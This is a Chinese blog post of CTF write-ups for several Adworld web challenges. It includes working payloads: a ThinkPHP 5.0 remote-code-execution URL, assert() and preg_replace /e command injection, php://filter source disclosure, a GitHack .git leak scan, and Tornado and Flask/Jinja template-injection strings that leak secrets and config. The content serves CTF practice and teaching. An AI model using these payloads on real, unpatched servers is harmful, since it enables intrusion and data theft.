每周小题(攻防世界)

php_rce

发现好几个版本,我们只知道5.0随便输入一个试一试,发下新有提示为5.0.20

 

thinkphp 5.0.21

6、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

7、http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

ls查看目录没有什么可疑的

 

接着查看上级目录

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

 

或者我们用find命令查找与flag相关的

 

 

simple_js

题目:

 

 查看源码

<html>
<head>
    <title>JS</title>
    <script type="text/javascript">
    function dechiffre(pass_enc){
        var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
        var tab  = pass_enc.split(',');
                var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                        k = j + (l) + (n=0);
                        n = tab2.length;
                        for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                                if(i == 5)break;}
                        for(i = (o=0); i < (k = j = n); i++ ){
                        o = tab[i-l];
                                if(i > 5 && i < k-1)
                                        p += String.fromCharCode((o = tab2[i]));
                        }
        p += String.fromCharCode(tab2[17]);
        pass = p;return pass;
    }
    String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

    h = window.prompt('Enter password');
    alert( dechiffre(h) );

</script>
</head>

</html>

分析源码,发现随便输入什么都会输出

pass="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"对应的字符

用python处理一下

#Cyberpeace{}
s="70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65"
s=s.split(",")
c=""
for i in s:
    i=chr(int(i))
    c=c+i
    print(c)

或者

#Cyberpeace{}
s=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65]
for i in s:
    print(chr(i),end='')

得到该字符串为:

FAUX PASSWORD HAHA,正好是提示错误的字符串

看到有有一串16进制的字符,应该就是flag内容

#Cyberpeace{}
s="\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
print(s)
s=s.split(",")
c=""
for i in s:
    i=chr(int(i))
    c=c+i
    print(c)

运行结果:

55,56,54,79,115,69,114,116,107,49,50
7
78
786
786O
786Os
786OsE
786OsEr
786OsErt
786OsErtk
786OsErtk1
786OsErtk12

知识点:

1. \x35\x35\x2c\x35形状的为16进制字符,可将其转换为10进制

2.可以用python批量转换ASCII码 for i in s:

print(chr(i),end=’’) 其中,s是想要转换的列表

mfw 

进入题目以后可以点击三个网页,这三个网页其中有一个提示我们git、php、Bootstrap、看到git的时候就可以联想到git泄露了

直接使用GitHack进行扫描

python GitHack.py http://61.147.171.105:55215/.git/

 在其目录下出现了刚下载的泄露文件

除了开头的index.php 文件中包含有代码部分,其它文档并没有发现值得分析的文件

我们现在来分析一下index.php 文件

assert()函数其实是一个断言函数。

assert:

这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

assert ( mixed $assertion [, string $description ] ) : bool

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase

我们首先绕过assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

我们先将strpos闭合,然后将后面的语句'..')===false") or die ("Detected hacking attempt!")注释掉

然后构造payload:?page=').phpinfo();// //然后有回显

构造payload:

?page=').system("cat templates/flag.php");//

查看源码,得到flag

 

ics-05(preg_replace() ,/e) 

1.进入工控云管理系统设备维护中心(其他标签点击无反应)

 查看源代码发现有提示

点进去,得到

 

想到文件包含漏洞(URL中出现path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼)

3.利用php伪协议查看源码  出现一段base64源码,进行转码得出源码

payload:

index.php?page=php://filter/read=convert.base64-encode/resource=index.php

ctype_alnum(string $text)://检查是否是字母或数字或字母数字的 组合

如果是字母和数字组合的话,输出page内容,同时die掉

如果不是字母和数字的组合的话,

 

page中不能存在input,ta:text,text,而且不能是在page的开头处存在,否则就die掉

如果page中包含index。php,那就输出ok,然后包含page这个文件

最后还有一个内部人员的测试版本,如果要从内部访问的话,

其实本地的命令执行就可以进行使用这个函数

首先伪造xff

相关知识点:

preg_replace — 执行正则表达式的搜索和替换

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )

在 subject 中搜索 pattern 模式的匹配项并替换为 replacement 。如果指定了 limit ,则仅替换 limit 个匹配,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换。

特别注意:

/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。

提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

pattern,replacement,subject,同时有值的话

preg_replace,搜索subject中 pattern的字符串,同时替换为replacement

也就是说pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行

构造payload:

index.php?pat=/heihei/e&rep=system('ls')&sub=heihei

再添加xff

 

使用find命令(find -name *flag*)

 

 

 查看源代码

easytornado(Tornado 框架,模板注入)

题目:

 依次点开

 

 

在hints.txt文件中发现md5计算 md5(cookie_secret+md5(filename)) 并且三个文件中都存在filehash(文件名被哈希算法加密32位小写)

猜测解题关键点在md5(cookie_secret+md5(filename))这里

首先flag在/fllllllllllllag文件中**,所以就是filename=/fllllllllllllag;**filehash=md5(cookie_secret+md5(filename))

现在只缺cookie_secret这个东西,只要有了cookie_secret再通过这个md5(cookie_secret+md5(filename))公式进行计算即可获取到flag

注意题目easytornado;tornado是python的一个模板,可以看出这道题是模板注入类的题目

改哈希值看看是否有变化

 

 

模板注入必须通过传输型如{{xxx}}的执行命令

 

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量。

简单理解handler.settings即可,可以把它理解为tornado模板中内置的环境配置信息名称,通过handler.settings可以访问到环境配置的一些信息,看到tornado模板基本上可以通过handler.settings一把梭。

爆cookie_secret

error?msg={{handler.settings}}

 

按照要求进行md5进行加密

 

 

 

shrine(flask框架)

题目:

给了很多代码,查看源码

 

是flask框架,猜测是ssti注入(模板注入)

模板渲染接受的参数需要用两个大括号括起来{{}},所以我们需要在大括号内构造参数形成注入

SSTI注入需要知道用的是什么模板引擎,参考这张图片

 

 

尝试使用tplmap ./tplmap.py -u ‘xxxxxx’

发现不行

发现这里有两个路径,我们访问试试,并测试测试模板注入

 发现存在模板注入

@app.route('/')
def index():
    return open(__file__).read() //第一个路由是显示出源代码

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '') //我们提交的参数之中的()会被置为空,()被过滤
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s //将黑名单内的内容遍历一遍,把参数内的与黑名单相同的置为
None

//第二个路由在/shrine/路径下提交参数,模板中设定{{ }}包括的内容为后端变量,
% %包括的内容为逻辑语句
    return flask.render_template_string(safe_jinja(shrine))

同时,他将config和self当成了黑名单 而flag在config文件里

如果没有黑名单的时候,我们可以传入 config,或者传入{{self.dict}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙盒逃逸的方法,来调用被禁用的函数对象。

current_app,这是全局变量代理,查看他的config即可

这里有两个函数包含了current_app全局变量,url_for和get_flashed_messages

payload:

shrine/{{url_for.globals['current_app'].config}}或

shrine/{{get_flashed_messages.globals['current_app'].config['FLAG']}}

参考:

攻防世界web进阶区shrine详解_shrine 开发-CSDN博客

CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎

 

  • 47
    点赞
  • 34
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值